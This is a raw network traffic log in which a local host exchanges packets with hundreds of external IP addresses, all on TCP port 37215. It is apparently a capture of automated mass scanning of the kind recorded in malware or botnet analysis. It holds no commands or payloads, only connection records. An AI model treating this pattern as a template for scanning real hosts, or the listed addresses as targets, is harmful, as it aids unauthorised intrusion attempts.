Aug 17, 2024 01:01:53.630994081 CEST	37215	48322	41.144.31.227	192.168.2.13
Aug 17, 2024 01:01:53.630995989 CEST	42188	37215	192.168.2.13	41.29.206.66
Aug 17, 2024 01:01:53.630996943 CEST	54366	37215	192.168.2.13	41.238.184.113
Aug 17, 2024 01:01:53.630996943 CEST	60714	37215	192.168.2.13	156.242.208.174
Aug 17, 2024 01:01:53.630999088 CEST	37215	51662	156.240.61.236	192.168.2.13
Aug 17, 2024 01:01:53.631006002 CEST	37215	41722	197.190.235.213	192.168.2.13
Aug 17, 2024 01:01:53.631015062 CEST	34672	37215	192.168.2.13	197.84.105.39
Aug 17, 2024 01:01:53.631015062 CEST	51444	37215	192.168.2.13	197.255.100.152
Aug 17, 2024 01:01:53.631016016 CEST	37215	33922	156.163.60.231	192.168.2.13
Aug 17, 2024 01:01:53.631021023 CEST	37215	44328	41.168.93.42	192.168.2.13
Aug 17, 2024 01:01:53.631026030 CEST	37215	33852	156.75.242.255	192.168.2.13
Aug 17, 2024 01:01:53.631031036 CEST	48322	37215	192.168.2.13	41.144.31.227
Aug 17, 2024 01:01:53.631031036 CEST	51662	37215	192.168.2.13	156.240.61.236
Aug 17, 2024 01:01:53.631031036 CEST	37215	59392	41.142.46.158	192.168.2.13
Aug 17, 2024 01:01:53.631032944 CEST	41722	37215	192.168.2.13	197.190.235.213
Aug 17, 2024 01:01:53.631048918 CEST	33852	37215	192.168.2.13	156.75.242.255
Aug 17, 2024 01:01:53.631067991 CEST	57154	37215	192.168.2.13	197.47.45.83
Aug 17, 2024 01:01:53.631076097 CEST	57154	37215	192.168.2.13	197.47.45.83
Aug 17, 2024 01:01:53.631077051 CEST	33922	37215	192.168.2.13	156.163.60.231
Aug 17, 2024 01:01:53.631083012 CEST	57666	37215	192.168.2.13	197.47.45.83
Aug 17, 2024 01:01:53.631097078 CEST	50766	37215	192.168.2.13	197.71.250.24
Aug 17, 2024 01:01:53.631097078 CEST	50766	37215	192.168.2.13	197.71.250.24
Aug 17, 2024 01:01:53.631108046 CEST	51278	37215	192.168.2.13	197.71.250.24
Aug 17, 2024 01:01:53.631141901 CEST	37215	33402	197.2.142.241	192.168.2.13
Aug 17, 2024 01:01:53.631145954 CEST	37215	48126	156.15.197.74	192.168.2.13
Aug 17, 2024 01:01:53.631145954 CEST	44328	37215	192.168.2.13	41.168.93.42
Aug 17, 2024 01:01:53.631145954 CEST	58852	37215	192.168.2.13	156.216.77.222
Aug 17, 2024 01:01:53.631145954 CEST	58852	37215	192.168.2.13	156.216.77.222
Aug 17, 2024 01:01:53.631150961 CEST	37215	60294	156.143.227.151	192.168.2.13
Aug 17, 2024 01:01:53.631155014 CEST	37215	35452	41.13.99.189	192.168.2.13
Aug 17, 2024 01:01:53.631155014 CEST	59392	37215	192.168.2.13	41.142.46.158
Aug 17, 2024 01:01:53.631160975 CEST	37215	36922	156.98.66.59	192.168.2.13
Aug 17, 2024 01:01:53.631165981 CEST	37215	41752	156.36.147.114	192.168.2.13
Aug 17, 2024 01:01:53.631169081 CEST	33402	37215	192.168.2.13	197.2.142.241
Aug 17, 2024 01:01:53.631170988 CEST	37215	56856	41.128.12.110	192.168.2.13
Aug 17, 2024 01:01:53.631175995 CEST	37215	54210	197.85.215.106	192.168.2.13
Aug 17, 2024 01:01:53.631175995 CEST	39562	37215	192.168.2.13	197.237.253.232
Aug 17, 2024 01:01:53.631175995 CEST	39562	37215	192.168.2.13	197.237.253.232
Aug 17, 2024 01:01:53.631175995 CEST	48126	37215	192.168.2.13	156.15.197.74
Aug 17, 2024 01:01:53.631181002 CEST	37215	36196	197.75.220.203	192.168.2.13
Aug 17, 2024 01:01:53.631185055 CEST	37215	49032	156.202.146.80	192.168.2.13
Aug 17, 2024 01:01:53.631185055 CEST	60294	37215	192.168.2.13	156.143.227.151
Aug 17, 2024 01:01:53.631186008 CEST	35452	37215	192.168.2.13	41.13.99.189
Aug 17, 2024 01:01:53.631189108 CEST	37215	43046	156.32.51.163	192.168.2.13
Aug 17, 2024 01:01:53.631189108 CEST	59364	37215	192.168.2.13	156.216.77.222
Aug 17, 2024 01:01:53.631189108 CEST	56856	37215	192.168.2.13	41.128.12.110
Aug 17, 2024 01:01:53.631196022 CEST	37215	44384	197.4.146.79	192.168.2.13
Aug 17, 2024 01:01:53.631201029 CEST	37215	42418	156.2.64.216	192.168.2.13
Aug 17, 2024 01:01:53.631203890 CEST	37215	51466	156.255.236.9	192.168.2.13
Aug 17, 2024 01:01:53.631205082 CEST	41752	37215	192.168.2.13	156.36.147.114
Aug 17, 2024 01:01:53.631205082 CEST	36196	37215	192.168.2.13	197.75.220.203
Aug 17, 2024 01:01:53.631208897 CEST	37215	58358	41.86.175.224	192.168.2.13
Aug 17, 2024 01:01:53.631211996 CEST	49032	37215	192.168.2.13	156.202.146.80
Aug 17, 2024 01:01:53.631215096 CEST	37215	39542	197.101.53.18	192.168.2.13
Aug 17, 2024 01:01:53.631218910 CEST	43046	37215	192.168.2.13	156.32.51.163
Aug 17, 2024 01:01:53.631226063 CEST	37215	41660	197.119.15.213	192.168.2.13
Aug 17, 2024 01:01:53.631226063 CEST	44384	37215	192.168.2.13	197.4.146.79
Aug 17, 2024 01:01:53.631230116 CEST	42418	37215	192.168.2.13	156.2.64.216
Aug 17, 2024 01:01:53.631232977 CEST	37215	46226	156.60.205.173	192.168.2.13
Aug 17, 2024 01:01:53.631236076 CEST	36922	37215	192.168.2.13	156.98.66.59
Aug 17, 2024 01:01:53.631236076 CEST	51466	37215	192.168.2.13	156.255.236.9
Aug 17, 2024 01:01:53.631238937 CEST	37215	37522	156.96.27.201	192.168.2.13
Aug 17, 2024 01:01:53.631239891 CEST	58358	37215	192.168.2.13	41.86.175.224
Aug 17, 2024 01:01:53.631247997 CEST	39542	37215	192.168.2.13	197.101.53.18
Aug 17, 2024 01:01:53.631253004 CEST	46226	37215	192.168.2.13	156.60.205.173
Aug 17, 2024 01:01:53.631261110 CEST	41660	37215	192.168.2.13	197.119.15.213
Aug 17, 2024 01:01:53.631261110 CEST	37522	37215	192.168.2.13	156.96.27.201
Aug 17, 2024 01:01:53.631277084 CEST	54368	37215	192.168.2.13	41.108.21.210
Aug 17, 2024 01:01:53.631282091 CEST	54210	37215	192.168.2.13	197.85.215.106
Aug 17, 2024 01:01:53.631283045 CEST	54368	37215	192.168.2.13	41.108.21.210
Aug 17, 2024 01:01:53.631292105 CEST	54880	37215	192.168.2.13	41.108.21.210
Aug 17, 2024 01:01:53.631298065 CEST	40074	37215	192.168.2.13	197.237.253.232
Aug 17, 2024 01:01:53.631311893 CEST	51074	37215	192.168.2.13	156.209.68.171
Aug 17, 2024 01:01:53.631311893 CEST	51074	37215	192.168.2.13	156.209.68.171
Aug 17, 2024 01:01:53.631313086 CEST	37215	33438	156.122.150.249	192.168.2.13
Aug 17, 2024 01:01:53.631320000 CEST	51586	37215	192.168.2.13	156.209.68.171
Aug 17, 2024 01:01:53.631320000 CEST	38488	37215	192.168.2.13	156.129.216.236
Aug 17, 2024 01:01:53.631320000 CEST	38488	37215	192.168.2.13	156.129.216.236
Aug 17, 2024 01:01:53.631321907 CEST	37215	58430	156.224.204.5	192.168.2.13
Aug 17, 2024 01:01:53.631325960 CEST	37215	59294	197.15.117.242	192.168.2.13
Aug 17, 2024 01:01:53.631335974 CEST	37215	35638	41.120.181.114	192.168.2.13
Aug 17, 2024 01:01:53.631340027 CEST	37215	37314	41.124.95.54	192.168.2.13
Aug 17, 2024 01:01:53.631342888 CEST	33438	37215	192.168.2.13	156.122.150.249
Aug 17, 2024 01:01:53.631345034 CEST	37215	53424	197.106.197.143	192.168.2.13
Aug 17, 2024 01:01:53.631349087 CEST	37215	45850	41.102.49.176	192.168.2.13
Aug 17, 2024 01:01:53.631352901 CEST	37215	54562	197.187.239.101	192.168.2.13
Aug 17, 2024 01:01:53.631354094 CEST	39000	37215	192.168.2.13	156.129.216.236
Aug 17, 2024 01:01:53.631354094 CEST	58430	37215	192.168.2.13	156.224.204.5
Aug 17, 2024 01:01:53.631359100 CEST	37215	52852	41.16.221.37	192.168.2.13
Aug 17, 2024 01:01:53.631366968 CEST	37314	37215	192.168.2.13	41.124.95.54
Aug 17, 2024 01:01:53.631366968 CEST	35638	37215	192.168.2.13	41.120.181.114
Aug 17, 2024 01:01:53.631371021 CEST	53424	37215	192.168.2.13	197.106.197.143
Aug 17, 2024 01:01:53.631372929 CEST	37215	44028	41.241.115.118	192.168.2.13
Aug 17, 2024 01:01:53.631375074 CEST	54562	37215	192.168.2.13	197.187.239.101
Aug 17, 2024 01:01:53.631376028 CEST	45850	37215	192.168.2.13	41.102.49.176
Aug 17, 2024 01:01:53.631377935 CEST	37215	44202	197.156.34.51	192.168.2.13
Aug 17, 2024 01:01:53.631386995 CEST	37215	46468	197.187.146.138	192.168.2.13
Aug 17, 2024 01:01:53.631391048 CEST	33594	37215	192.168.2.13	156.239.26.109
Aug 17, 2024 01:01:53.631392002 CEST	37215	39374	156.136.18.233	192.168.2.13
Aug 17, 2024 01:01:53.631392002 CEST	34106	37215	192.168.2.13	156.239.26.109
Aug 17, 2024 01:01:53.631391048 CEST	33594	37215	192.168.2.13	156.239.26.109
Aug 17, 2024 01:01:53.631391048 CEST	52852	37215	192.168.2.13	41.16.221.37
Aug 17, 2024 01:01:53.631397009 CEST	37215	56002	156.83.15.188	192.168.2.13
Aug 17, 2024 01:01:53.631402969 CEST	44028	37215	192.168.2.13	41.241.115.118
Aug 17, 2024 01:01:53.631402969 CEST	37215	41930	156.98.55.240	192.168.2.13
Aug 17, 2024 01:01:53.631407022 CEST	37215	42496	41.237.221.78	192.168.2.13
Aug 17, 2024 01:01:53.631409883 CEST	37215	34616	156.253.176.241	192.168.2.13
Aug 17, 2024 01:01:53.631409883 CEST	44202	37215	192.168.2.13	197.156.34.51
Aug 17, 2024 01:01:53.631412983 CEST	46468	37215	192.168.2.13	197.187.146.138
Aug 17, 2024 01:01:53.631413937 CEST	37215	37206	156.196.137.194	192.168.2.13
Aug 17, 2024 01:01:53.631417036 CEST	39374	37215	192.168.2.13	156.136.18.233
Aug 17, 2024 01:01:53.631417990 CEST	37215	34596	156.156.53.229	192.168.2.13
Aug 17, 2024 01:01:53.631422043 CEST	37215	51918	197.65.34.237	192.168.2.13
Aug 17, 2024 01:01:53.631424904 CEST	42496	37215	192.168.2.13	41.237.221.78
Aug 17, 2024 01:01:53.631428003 CEST	37215	45066	197.145.197.115	192.168.2.13
Aug 17, 2024 01:01:53.631432056 CEST	41930	37215	192.168.2.13	156.98.55.240
Aug 17, 2024 01:01:53.631433964 CEST	56002	37215	192.168.2.13	156.83.15.188
Aug 17, 2024 01:01:53.631434917 CEST	59762	37215	192.168.2.13	156.12.209.120
Aug 17, 2024 01:01:53.631438017 CEST	34616	37215	192.168.2.13	156.253.176.241
Aug 17, 2024 01:01:53.631443024 CEST	34596	37215	192.168.2.13	156.156.53.229
Aug 17, 2024 01:01:53.631443024 CEST	59762	37215	192.168.2.13	156.12.209.120
Aug 17, 2024 01:01:53.631443977 CEST	37206	37215	192.168.2.13	156.196.137.194
Aug 17, 2024 01:01:53.631453991 CEST	45066	37215	192.168.2.13	197.145.197.115
Aug 17, 2024 01:01:53.631454945 CEST	51918	37215	192.168.2.13	197.65.34.237
Aug 17, 2024 01:01:53.631464958 CEST	60274	37215	192.168.2.13	156.12.209.120
Aug 17, 2024 01:01:53.631474972 CEST	59294	37215	192.168.2.13	197.15.117.242
Aug 17, 2024 01:01:53.631474972 CEST	51360	37215	192.168.2.13	41.13.249.100
Aug 17, 2024 01:01:53.631505966 CEST	41294	37215	192.168.2.13	197.55.126.137
Aug 17, 2024 01:01:53.631505966 CEST	41294	37215	192.168.2.13	197.55.126.137
Aug 17, 2024 01:01:53.631527901 CEST	41284	37215	192.168.2.13	156.149.180.114
Aug 17, 2024 01:01:53.631527901 CEST	41284	37215	192.168.2.13	156.149.180.114
Aug 17, 2024 01:01:53.631532907 CEST	41806	37215	192.168.2.13	197.55.126.137
Aug 17, 2024 01:01:53.631537914 CEST	51872	37215	192.168.2.13	41.13.249.100
Aug 17, 2024 01:01:53.631550074 CEST	53720	37215	192.168.2.13	197.237.132.166
Aug 17, 2024 01:01:53.631550074 CEST	53720	37215	192.168.2.13	197.237.132.166
Aug 17, 2024 01:01:53.631560087 CEST	54232	37215	192.168.2.13	197.237.132.166
Aug 17, 2024 01:01:53.631576061 CEST	54366	37215	192.168.2.13	41.238.184.113
Aug 17, 2024 01:01:53.631576061 CEST	54366	37215	192.168.2.13	41.238.184.113
Aug 17, 2024 01:01:53.631584883 CEST	54878	37215	192.168.2.13	41.238.184.113
Aug 17, 2024 01:01:53.631602049 CEST	60714	37215	192.168.2.13	156.242.208.174
Aug 17, 2024 01:01:53.631602049 CEST	60714	37215	192.168.2.13	156.242.208.174
Aug 17, 2024 01:01:53.631609917 CEST	32994	37215	192.168.2.13	156.242.208.174
Aug 17, 2024 01:01:53.631618023 CEST	51360	37215	192.168.2.13	41.13.249.100
Aug 17, 2024 01:01:53.631618023 CEST	34672	37215	192.168.2.13	197.84.105.39
Aug 17, 2024 01:01:53.631634951 CEST	35180	37215	192.168.2.13	197.84.105.39
Aug 17, 2024 01:01:53.631645918 CEST	42188	37215	192.168.2.13	41.29.206.66
Aug 17, 2024 01:01:53.631654024 CEST	42188	37215	192.168.2.13	41.29.206.66
Aug 17, 2024 01:01:53.631661892 CEST	42696	37215	192.168.2.13	41.29.206.66
Aug 17, 2024 01:01:53.631668091 CEST	34672	37215	192.168.2.13	197.84.105.39
Aug 17, 2024 01:01:53.631668091 CEST	51444	37215	192.168.2.13	197.255.100.152
Aug 17, 2024 01:01:53.631668091 CEST	51444	37215	192.168.2.13	197.255.100.152
Aug 17, 2024 01:01:53.631686926 CEST	41796	37215	192.168.2.13	156.149.180.114
Aug 17, 2024 01:01:53.631686926 CEST	51952	37215	192.168.2.13	197.255.100.152
Aug 17, 2024 01:01:53.631710052 CEST	37215	48700	41.181.71.84	192.168.2.13
Aug 17, 2024 01:01:53.631714106 CEST	37215	55750	41.2.37.207	192.168.2.13
Aug 17, 2024 01:01:53.631722927 CEST	37215	47266	156.26.192.84	192.168.2.13
Aug 17, 2024 01:01:53.631750107 CEST	48700	37215	192.168.2.13	41.181.71.84
Aug 17, 2024 01:01:53.631751060 CEST	37215	42264	156.151.229.121	192.168.2.13
Aug 17, 2024 01:01:53.631767035 CEST	55750	37215	192.168.2.13	41.2.37.207
Aug 17, 2024 01:01:53.631763935 CEST	47266	37215	192.168.2.13	156.26.192.84
Aug 17, 2024 01:01:53.631763935 CEST	33922	37215	192.168.2.13	156.163.60.231
Aug 17, 2024 01:01:53.631763935 CEST	33922	37215	192.168.2.13	156.163.60.231
Aug 17, 2024 01:01:53.631772041 CEST	37215	58574	156.141.157.75	192.168.2.13
Aug 17, 2024 01:01:53.631778955 CEST	37215	42998	41.247.216.11	192.168.2.13
Aug 17, 2024 01:01:53.631784916 CEST	42264	37215	192.168.2.13	156.151.229.121
Aug 17, 2024 01:01:53.631786108 CEST	48322	37215	192.168.2.13	41.144.31.227
Aug 17, 2024 01:01:53.631792068 CEST	37215	59878	197.82.181.177	192.168.2.13
Aug 17, 2024 01:01:53.631795883 CEST	34440	37215	192.168.2.13	156.163.60.231
Aug 17, 2024 01:01:53.631798029 CEST	37215	40030	197.187.201.178	192.168.2.13
Aug 17, 2024 01:01:53.631803036 CEST	48322	37215	192.168.2.13	41.144.31.227
Aug 17, 2024 01:01:53.631807089 CEST	37215	35928	41.218.4.187	192.168.2.13
Aug 17, 2024 01:01:53.631808043 CEST	42998	37215	192.168.2.13	41.247.216.11
Aug 17, 2024 01:01:53.631813049 CEST	37215	45328	197.139.83.220	192.168.2.13
Aug 17, 2024 01:01:53.631813049 CEST	58574	37215	192.168.2.13	156.141.157.75
Aug 17, 2024 01:01:53.631819963 CEST	37215	60316	41.21.246.26	192.168.2.13
Aug 17, 2024 01:01:53.631820917 CEST	40030	37215	192.168.2.13	197.187.201.178
Aug 17, 2024 01:01:53.631824017 CEST	37215	52742	197.214.139.137	192.168.2.13
Aug 17, 2024 01:01:53.631829977 CEST	48840	37215	192.168.2.13	41.144.31.227
Aug 17, 2024 01:01:53.631829977 CEST	37215	44974	197.159.159.96	192.168.2.13
Aug 17, 2024 01:01:53.631830931 CEST	35928	37215	192.168.2.13	41.218.4.187
Aug 17, 2024 01:01:53.631840944 CEST	37215	39916	41.220.205.135	192.168.2.13
Aug 17, 2024 01:01:53.631845951 CEST	37215	33132	41.44.188.7	192.168.2.13
Aug 17, 2024 01:01:53.631848097 CEST	51662	37215	192.168.2.13	156.240.61.236
Aug 17, 2024 01:01:53.631848097 CEST	51662	37215	192.168.2.13	156.240.61.236
Aug 17, 2024 01:01:53.631850004 CEST	37215	57014	156.21.81.137	192.168.2.13
Aug 17, 2024 01:01:53.631855011 CEST	37215	57388	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:53.631860018 CEST	37215	44358	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:53.631865978 CEST	39916	37215	192.168.2.13	41.220.205.135
Aug 17, 2024 01:01:53.631877899 CEST	52174	37215	192.168.2.13	156.240.61.236
Aug 17, 2024 01:01:53.631880045 CEST	37215	45312	41.219.110.69	192.168.2.13
Aug 17, 2024 01:01:53.631886959 CEST	59878	37215	192.168.2.13	197.82.181.177
Aug 17, 2024 01:01:53.631894112 CEST	37215	43250	41.105.187.177	192.168.2.13
Aug 17, 2024 01:01:53.631896973 CEST	41722	37215	192.168.2.13	197.190.235.213
Aug 17, 2024 01:01:53.631897926 CEST	41722	37215	192.168.2.13	197.190.235.213
Aug 17, 2024 01:01:53.631899118 CEST	37215	34424	41.233.122.47	192.168.2.13
Aug 17, 2024 01:01:53.631908894 CEST	37215	56782	156.37.116.205	192.168.2.13
Aug 17, 2024 01:01:53.631911993 CEST	42234	37215	192.168.2.13	197.190.235.213
Aug 17, 2024 01:01:53.631913900 CEST	37215	38974	156.141.40.131	192.168.2.13
Aug 17, 2024 01:01:53.631925106 CEST	37215	32972	156.105.254.196	192.168.2.13
Aug 17, 2024 01:01:53.631928921 CEST	37215	48762	41.205.24.112	192.168.2.13
Aug 17, 2024 01:01:53.631932974 CEST	59392	37215	192.168.2.13	41.142.46.158
Aug 17, 2024 01:01:53.631933928 CEST	37215	43668	197.184.232.244	192.168.2.13
Aug 17, 2024 01:01:53.631932974 CEST	59392	37215	192.168.2.13	41.142.46.158
Aug 17, 2024 01:01:53.631941080 CEST	59902	37215	192.168.2.13	41.142.46.158
Aug 17, 2024 01:01:53.631953955 CEST	44328	37215	192.168.2.13	41.168.93.42
Aug 17, 2024 01:01:53.631954908 CEST	37215	57888	197.55.107.244	192.168.2.13
Aug 17, 2024 01:01:53.631959915 CEST	37215	58030	197.93.165.158	192.168.2.13
Aug 17, 2024 01:01:53.631969929 CEST	37215	36106	41.203.221.60	192.168.2.13
Aug 17, 2024 01:01:53.631973982 CEST	37215	46996	156.220.93.113	192.168.2.13
Aug 17, 2024 01:01:53.631982088 CEST	44836	37215	192.168.2.13	41.168.93.42
Aug 17, 2024 01:01:53.631983995 CEST	37215	37422	197.93.59.225	192.168.2.13
Aug 17, 2024 01:01:53.631989002 CEST	37215	52966	41.84.217.81	192.168.2.13
Aug 17, 2024 01:01:53.631999016 CEST	37215	40742	156.81.112.77	192.168.2.13
Aug 17, 2024 01:01:53.632004023 CEST	37215	33782	41.75.226.237	192.168.2.13
Aug 17, 2024 01:01:53.632014036 CEST	37215	54064	197.166.118.19	192.168.2.13
Aug 17, 2024 01:01:53.632019997 CEST	37215	53896	156.12.134.196	192.168.2.13
Aug 17, 2024 01:01:53.632030010 CEST	37215	54502	41.135.202.113	192.168.2.13
Aug 17, 2024 01:01:53.632034063 CEST	37215	59852	156.41.196.1	192.168.2.13
Aug 17, 2024 01:01:53.632040024 CEST	37215	42958	197.8.112.23	192.168.2.13
Aug 17, 2024 01:01:53.632061005 CEST	37215	49072	156.161.17.168	192.168.2.13
Aug 17, 2024 01:01:53.632076979 CEST	37215	44706	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:53.632081985 CEST	37215	37668	156.159.42.226	192.168.2.13
Aug 17, 2024 01:01:53.632091999 CEST	37215	60918	197.157.245.225	192.168.2.13
Aug 17, 2024 01:01:53.632093906 CEST	56856	37215	192.168.2.13	41.128.12.110
Aug 17, 2024 01:01:53.632093906 CEST	56856	37215	192.168.2.13	41.128.12.110
Aug 17, 2024 01:01:53.632096052 CEST	57372	37215	192.168.2.13	41.128.12.110
Aug 17, 2024 01:01:53.632097006 CEST	37215	43172	156.216.155.74	192.168.2.13
Aug 17, 2024 01:01:53.632103920 CEST	37215	49844	41.229.132.89	192.168.2.13
Aug 17, 2024 01:01:53.632108927 CEST	37215	38028	41.13.61.27	192.168.2.13
Aug 17, 2024 01:01:53.632119894 CEST	37215	44276	41.229.137.21	192.168.2.13
Aug 17, 2024 01:01:53.632121086 CEST	54210	37215	192.168.2.13	197.85.215.106
Aug 17, 2024 01:01:53.632121086 CEST	54210	37215	192.168.2.13	197.85.215.106
Aug 17, 2024 01:01:53.632123947 CEST	54724	37215	192.168.2.13	197.85.215.106
Aug 17, 2024 01:01:53.632126093 CEST	37215	55990	41.253.43.92	192.168.2.13
Aug 17, 2024 01:01:53.632142067 CEST	37215	39568	197.2.79.146	192.168.2.13
Aug 17, 2024 01:01:53.632147074 CEST	37215	58476	197.232.93.152	192.168.2.13
Aug 17, 2024 01:01:53.632148027 CEST	33402	37215	192.168.2.13	197.2.142.241
Aug 17, 2024 01:01:53.632148027 CEST	33402	37215	192.168.2.13	197.2.142.241
Aug 17, 2024 01:01:53.632150888 CEST	37215	35208	156.244.221.219	192.168.2.13
Aug 17, 2024 01:01:53.632158041 CEST	37215	53650	41.36.86.252	192.168.2.13
Aug 17, 2024 01:01:53.632168055 CEST	37215	43728	156.229.96.143	192.168.2.13
Aug 17, 2024 01:01:53.632172108 CEST	37215	53074	156.125.168.6	192.168.2.13
Aug 17, 2024 01:01:53.632179022 CEST	48126	37215	192.168.2.13	156.15.197.74
Aug 17, 2024 01:01:53.632185936 CEST	37215	44430	156.248.140.39	192.168.2.13
Aug 17, 2024 01:01:53.632189989 CEST	37215	50298	156.76.37.32	192.168.2.13
Aug 17, 2024 01:01:53.632194042 CEST	48126	37215	192.168.2.13	156.15.197.74
Aug 17, 2024 01:01:53.632194042 CEST	37215	43346	156.115.73.165	192.168.2.13
Aug 17, 2024 01:01:53.632199049 CEST	37215	43772	156.73.69.227	192.168.2.13
Aug 17, 2024 01:01:53.632199049 CEST	33914	37215	192.168.2.13	197.2.142.241
Aug 17, 2024 01:01:53.632203102 CEST	37215	52242	41.107.6.35	192.168.2.13
Aug 17, 2024 01:01:53.632214069 CEST	37215	35498	156.92.98.192	192.168.2.13
Aug 17, 2024 01:01:53.632221937 CEST	44328	37215	192.168.2.13	41.168.93.42
Aug 17, 2024 01:01:53.632221937 CEST	48638	37215	192.168.2.13	156.15.197.74
Aug 17, 2024 01:01:53.632227898 CEST	37215	44482	41.41.8.19	192.168.2.13
Aug 17, 2024 01:01:53.632234097 CEST	37215	56488	197.182.51.118	192.168.2.13
Aug 17, 2024 01:01:53.632242918 CEST	35452	37215	192.168.2.13	41.13.99.189
Aug 17, 2024 01:01:53.632242918 CEST	37215	58770	41.143.146.230	192.168.2.13
Aug 17, 2024 01:01:53.632242918 CEST	35452	37215	192.168.2.13	41.13.99.189
Aug 17, 2024 01:01:53.632247925 CEST	37215	37296	156.144.162.99	192.168.2.13
Aug 17, 2024 01:01:53.632251978 CEST	35964	37215	192.168.2.13	41.13.99.189
Aug 17, 2024 01:01:53.632252932 CEST	37215	46056	41.177.53.203	192.168.2.13
Aug 17, 2024 01:01:53.632258892 CEST	37215	39406	41.246.110.105	192.168.2.13
Aug 17, 2024 01:01:53.632268906 CEST	37215	40962	41.23.173.105	192.168.2.13
Aug 17, 2024 01:01:53.632273912 CEST	37215	35560	197.247.114.223	192.168.2.13
Aug 17, 2024 01:01:53.632276058 CEST	60294	37215	192.168.2.13	156.143.227.151
Aug 17, 2024 01:01:53.632277966 CEST	37215	55634	156.19.191.121	192.168.2.13
Aug 17, 2024 01:01:53.632282972 CEST	37215	51900	156.80.128.187	192.168.2.13
Aug 17, 2024 01:01:53.632289886 CEST	60294	37215	192.168.2.13	156.143.227.151
Aug 17, 2024 01:01:53.632292986 CEST	37215	54116	197.243.143.226	192.168.2.13
Aug 17, 2024 01:01:53.632297993 CEST	37215	55478	197.122.70.151	192.168.2.13
Aug 17, 2024 01:01:53.632303953 CEST	60806	37215	192.168.2.13	156.143.227.151
Aug 17, 2024 01:01:53.632308006 CEST	37215	55754	156.52.107.115	192.168.2.13
Aug 17, 2024 01:01:53.632313013 CEST	37215	35212	156.234.12.197	192.168.2.13
Aug 17, 2024 01:01:53.632322073 CEST	37215	44290	41.241.76.22	192.168.2.13
Aug 17, 2024 01:01:53.632327080 CEST	37215	57020	156.15.58.220	192.168.2.13
Aug 17, 2024 01:01:53.632328033 CEST	36922	37215	192.168.2.13	156.98.66.59
Aug 17, 2024 01:01:53.632328033 CEST	36922	37215	192.168.2.13	156.98.66.59
Aug 17, 2024 01:01:53.632330894 CEST	37215	58044	41.219.194.127	192.168.2.13
Aug 17, 2024 01:01:53.632340908 CEST	37215	59656	41.155.139.184	192.168.2.13
Aug 17, 2024 01:01:53.632345915 CEST	37215	53544	156.188.180.172	192.168.2.13
Aug 17, 2024 01:01:53.632349014 CEST	37434	37215	192.168.2.13	156.98.66.59
Aug 17, 2024 01:01:53.632349968 CEST	37215	40312	41.189.88.13	192.168.2.13
Aug 17, 2024 01:01:53.632359982 CEST	37215	49006	156.123.207.66	192.168.2.13
Aug 17, 2024 01:01:53.632363081 CEST	41752	37215	192.168.2.13	156.36.147.114
Aug 17, 2024 01:01:53.632363081 CEST	41752	37215	192.168.2.13	156.36.147.114
Aug 17, 2024 01:01:53.632365942 CEST	37215	52188	156.14.140.227	192.168.2.13
Aug 17, 2024 01:01:53.632374048 CEST	37215	58062	156.250.143.170	192.168.2.13
Aug 17, 2024 01:01:53.632384062 CEST	42264	37215	192.168.2.13	156.36.147.114
Aug 17, 2024 01:01:53.632384062 CEST	37215	46898	41.129.214.78	192.168.2.13
Aug 17, 2024 01:01:53.632389069 CEST	37215	44650	41.0.50.58	192.168.2.13
Aug 17, 2024 01:01:53.632394075 CEST	37215	57388	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:53.632394075 CEST	36196	37215	192.168.2.13	197.75.220.203
Aug 17, 2024 01:01:53.632397890 CEST	37215	35644	41.104.120.169	192.168.2.13
Aug 17, 2024 01:01:53.632404089 CEST	36196	37215	192.168.2.13	197.75.220.203
Aug 17, 2024 01:01:53.632405043 CEST	37215	41752	197.214.106.46	192.168.2.13
Aug 17, 2024 01:01:53.632410049 CEST	37215	36174	197.226.173.69	192.168.2.13
Aug 17, 2024 01:01:53.632420063 CEST	37215	38288	41.238.114.64	192.168.2.13
Aug 17, 2024 01:01:53.632421970 CEST	57388	37215	192.168.2.13	156.211.231.190
Aug 17, 2024 01:01:53.632424116 CEST	37215	59256	197.109.202.160	192.168.2.13
Aug 17, 2024 01:01:53.632431984 CEST	37215	57560	41.28.105.96	192.168.2.13
Aug 17, 2024 01:01:53.632437944 CEST	36708	37215	192.168.2.13	197.75.220.203
Aug 17, 2024 01:01:53.632443905 CEST	49032	37215	192.168.2.13	156.202.146.80
Aug 17, 2024 01:01:53.632446051 CEST	37215	60604	156.36.217.61	192.168.2.13
Aug 17, 2024 01:01:53.632452011 CEST	37215	38090	41.114.6.13	192.168.2.13
Aug 17, 2024 01:01:53.632457018 CEST	37215	48362	41.68.90.111	192.168.2.13
Aug 17, 2024 01:01:53.632460117 CEST	49032	37215	192.168.2.13	156.202.146.80
Aug 17, 2024 01:01:53.632461071 CEST	37215	57196	41.197.91.229	192.168.2.13
Aug 17, 2024 01:01:53.632463932 CEST	49544	37215	192.168.2.13	156.202.146.80
Aug 17, 2024 01:01:53.632464886 CEST	37215	60206	156.226.180.139	192.168.2.13
Aug 17, 2024 01:01:53.632477045 CEST	48362	37215	192.168.2.13	41.68.90.111
Aug 17, 2024 01:01:53.632477999 CEST	37215	40378	156.56.23.17	192.168.2.13
Aug 17, 2024 01:01:53.632492065 CEST	57196	37215	192.168.2.13	41.197.91.229
Aug 17, 2024 01:01:53.632494926 CEST	60206	37215	192.168.2.13	156.226.180.139
Aug 17, 2024 01:01:53.632498980 CEST	43046	37215	192.168.2.13	156.32.51.163
Aug 17, 2024 01:01:53.632503986 CEST	37215	60796	156.37.223.11	192.168.2.13
Aug 17, 2024 01:01:53.632505894 CEST	43046	37215	192.168.2.13	156.32.51.163
Aug 17, 2024 01:01:53.632510900 CEST	37215	32966	156.30.24.2	192.168.2.13
Aug 17, 2024 01:01:53.632514954 CEST	37215	45452	156.125.252.168	192.168.2.13
Aug 17, 2024 01:01:53.632520914 CEST	37215	52588	156.153.21.213	192.168.2.13
Aug 17, 2024 01:01:53.632530928 CEST	32966	37215	192.168.2.13	156.30.24.2
Aug 17, 2024 01:01:53.632530928 CEST	60796	37215	192.168.2.13	156.37.223.11
Aug 17, 2024 01:01:53.632533073 CEST	37215	52648	156.83.37.240	192.168.2.13
Aug 17, 2024 01:01:53.632539034 CEST	37215	59852	156.206.178.183	192.168.2.13
Aug 17, 2024 01:01:53.632539988 CEST	43558	37215	192.168.2.13	156.32.51.163
Aug 17, 2024 01:01:53.632541895 CEST	37215	44358	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:53.632546902 CEST	37215	34138	156.40.198.81	192.168.2.13
